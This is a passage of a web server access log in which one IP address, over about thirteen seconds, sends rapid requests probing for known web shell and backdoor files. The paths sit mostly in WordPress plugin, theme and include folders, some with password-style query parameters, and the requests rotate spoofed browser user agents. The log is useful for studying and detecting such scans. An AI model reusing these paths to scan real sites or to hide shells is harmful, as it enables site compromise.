HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:03 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:03 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:03 -0400] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:03 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:04 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:37:04 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:04 -0400] "GET /uploads/Alex-Cross.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:04 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:04 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:37:04 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:04 -0400] "GET /wp-content/plugins/dhon/newsfeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:05 -0400] "GET /vedcve.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:05 -0400] "GET /jsdindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:05 -0400] "GET /lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:05 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:05 -0400] "GET /images/transfusem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:05 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:05 -0400] "GET /wp-includes/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:05 -0400] "GET /wp-content/uploads/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:37:06 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:06 -0400] "GET /wp-content/plugins/ioxi/retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:06 -0400] "GET /.well-known/acme-challenge/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:06 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:37:06 -0400] "GET /test/wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:06 -0400] "GET /wp-content/plugins/js_composer/assets/wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:37:06 -0400] "GET /wp-includes/SimplePie/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:06 -0400] "GET /wp-admin/css/colors/coffee/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:07 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:07 -0400] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:07 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:07 -0400] "GET /hiroshi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:07 -0400] "GET /fun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:07 -0400] "GET /kajisak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:07 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:07 -0400] "GET /trust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:07 -0400] "GET /godsend.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:37:08 -0400] "GET /wp-zett.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:08 -0400] "GET /LV.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:08 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:08 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:08 -0400] "GET /wboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:08 -0400] "GET /gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:08 -0400] "GET /wp-ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:08 -0400] "GET /bionic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:37:08 -0400] "GET /hidey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:09 -0400] "GET /myk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:09 -0400] "GET /kajiwara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:37:09 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:09 -0400] "GET /my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:09 -0400] "GET /aclass.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:37:09 -0400] "GET /admin1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:09 -0400] "GET /wp-signups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:09 -0400] "GET /cdm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:09 -0400] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:10 -0400] "GET /def.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:10 -0400] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:10 -0400] "GET /admin11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:10 -0400] "GET /fond.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:10 -0400] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:10 -0400] "GET /termps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:10 -0400] "GET /vip.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:10 -0400] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:10 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:10 -0400] "GET /search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:11 -0400] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:37:11 -0400] "GET /networks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:11 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:11 -0400] "GET /abby.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:11 -0400] "GET /anger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:11 -0400] "GET /lu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:11 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:11 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:11 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:12 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:12 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:12 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:12 -0400] "GET /wp-content/plugins/page-flip-image-gallery/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:12 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:12 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:12 -0400] "GET /glpi/vendor/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:12 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:12 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:37:13 -0400] "GET /prosellers.PhP7?pass=prosellers HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:13 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:37:13 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:13 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:37:13 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:13 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:37:13 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:13 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:14 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:14 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:14 -0400] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:14 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:14 -0400] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:14 -0400] "GET /cgi-bin/cgi-bin/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:37:14 -0400] "GET /wp-content/plugins/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:14 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:37:14 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:15 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:15 -0400] "GET /consystem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:15 -0400] "GET /_css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:15 -0400] "GET /conf1g.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:15 -0400] "GET /base.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:15 -0400] "GET /wsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:15 -0400] "GET /wp-content/plugins/wpcall-button/button-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:37:15 -0400] "GET /wp-content/plugins/phpadmin/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:37:15 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:15 -0400] "GET /wp-content/themes/too.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:16 -0400] "GET /wp-includes/assets/winnner.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:16 -0400] "GET /wp-content/plugins/classic-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:16 -0400] "GET /wp-content/plugins/eventon-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:16 -0400] "GET /wp-content/plugins/royal-ckeditor/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 